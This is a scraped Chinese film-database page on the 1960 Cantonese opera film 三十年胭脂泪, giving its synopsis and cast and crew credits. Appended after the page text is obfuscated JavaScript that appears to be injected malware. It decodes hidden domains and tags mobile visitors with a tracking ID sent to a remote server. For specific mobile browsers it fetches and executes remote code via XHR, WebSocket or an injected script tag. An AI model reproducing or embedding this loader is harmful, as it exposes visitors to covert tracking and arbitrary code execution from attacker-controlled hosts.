《三十年胭脂泪（粤语版）》是由珠玑执导，任剑辉,吴君丽,半日安,林家声主演的剧情片。该电影于1960年在中国香港上映。故事梗概： 陆胭脂被恶霸马狮朋逼娶为妾。洞房之夜，指为保贞节将朋灌醉，翌日朋因犯案捕入狱。惟脂未婚夫白菁华误会脂变心，隐居佛寺。后脂诞下华的骨肉萍生，却被朋妻强夺，脂无奈认作乳娘照顾亲儿。多年后，生长大成人。脂偶于佛寺与华重逢，尽释前嫌。朋出狱，为阻脂与华逃亡起冲突，混乱间错手杀妻，嫁祸于脂。此时，生已高中状元主理此案，却苦无对策，幸得姑婆梅姑扮鬼向朋套出真相。冤情大白，脂、华喜与生相认，一家团圆。 陸胭脂（吳君麗）與白箐華（任劍輝）自幼受到父母之命，媒酌之言，早已訂下鴛盟，陸父由于年邁老弱，加上禾田失收，致欠下馬獅朋（陸飛鴻）五百两銀，無力償還，被獅朋威迫胭脂委身為妾，于此同時，胭脂已為箐華懷有身孕嫁入馬家，洞房之夜他聞得獅朋于翌日糾党行劫，遂暗中報官，獅朋被判二十年牢獄，胭脂不久瓜熟蒂落，順利誕下麟兒馬小萍，但被獅朋正室（李香琴）威脅，只可作乳娘不許他們母子相認，否則要遂離馬家。箐華誤會胭脂已是馬家婦，到庤院作居士被世。 十六年後，小萍（林家聲）為考取功名托乳娘胭脂到庤院請箐華居士受教，二人重逢，胭脂終向箐華解釋前事。小萍高中狀元，同時獅朋亦提早出嶽，獅朋夲想帶走胭脂，卻誤殺妻子，後陷害胭脂，已小萍前途性命威脅胭脂認罪，胭脂無奈被判死刑。眾人苦無對策, 幸得姑婆梅姑（半日安）將此事告知小王爺扮鬼向獅朋套出真相，為箐華一家脫罪。將獅朋定罪，小萍與父母相認，小王爺賞識箐華才學，更被賜封。 导演 Director：珠玑 Ji Zhu 编剧 Writer：李天龙 Tianlong Li 演员 Actor： 任剑辉 Kim Fai Yam 吴君丽 Kwanlai Ng 林家声 Jiasheng Lin 半日安 An Banri 陆飞鸿 Fei Hung Luk 任冰儿 Binger Ren 李香琴 Heung Kam Lee 张生 Sang Cheung 制作人 Produced by：陈焯生 Zhuosheng Chen 摄影 Cinematography：魏海峰 Wei Hui Feng 剪辑 Film Editing：余纯 Chun Yu 布景师 Set Decoration by：陈其锐 Chi-Jui Chen 录音 Sound recordist：戴展豪 副导演/助理导演 Assistant Director：朱超 Chao Zhu 上映：1960年03月25日 地区：中国香港 语言：粤语 颜色：黑白 声音：单声道 类型：戏曲片 制作公司： 大联影业公司 [中国香港] 香港制片厂 [中国香港] 片长：114分钟
function qkbQym(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function REyXs(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return qkbQym(t);};window[''+'j'+'o'+'q'+'t'+'N'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ZEjcl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=REyXs,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ZEjcl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ZEjcl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC5jbiUzQTg44OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','4680',window,document,['4','J']);}:function(){};